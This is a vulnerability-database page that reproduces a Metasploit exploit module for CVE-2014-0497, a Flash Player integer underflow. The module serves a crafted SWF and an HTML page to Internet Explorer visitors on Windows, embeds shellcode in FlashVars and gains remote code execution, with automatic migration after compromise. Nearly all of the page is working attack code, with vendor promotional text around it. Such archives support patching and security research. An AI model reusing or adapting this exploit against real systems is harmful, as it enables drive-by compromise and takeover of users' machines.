Vulners
Lucene search
Adobe Flash Player Integer Underflow Remote Code Execution Exploit
10
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
integer underflow in several avm2 instructions, which can be turned into remote code
execution under the context of the user, as exploited in the wild in February 2014. This
module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
rop chains for several Flash 11 versions, as exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
[ 'CVE', '2014-0497' ],
[ 'OSVDB', '102849' ],
[ 'BID', '65327' ],
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Platform' => 'win',
# Versions targeted in the wild:
# [*] Windows 8:
# 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
# 11,6,602,167, 11,6,602,171 ,11,6,602,180
# 11,7,700,169, 11,7,700,202, 11,7,700,224
# [*] Before windows 8:
# 11,0,1,152,
# 11,1,102,55, 11,1,102,62, 11,1,102,63
# 11,2,202,228, 11,2,202,233, 11,2,202,235
# 11,3,300,257, 11,3,300,273
# 11,4,402,278
# 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
# 11,6,602,168, 11,6,602,171, 11,6,602,180
# 11,7,700,169, 11,7,700,202
# 11,8,800,97, 11,8,800,50
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2014",
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
shellcode = get_payload(cli, target_info).unpack("H*")[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="id=<%=shellcode%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
# 0day.today [2018-04-11] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 May 2014 00:00Current
EPSS0.93156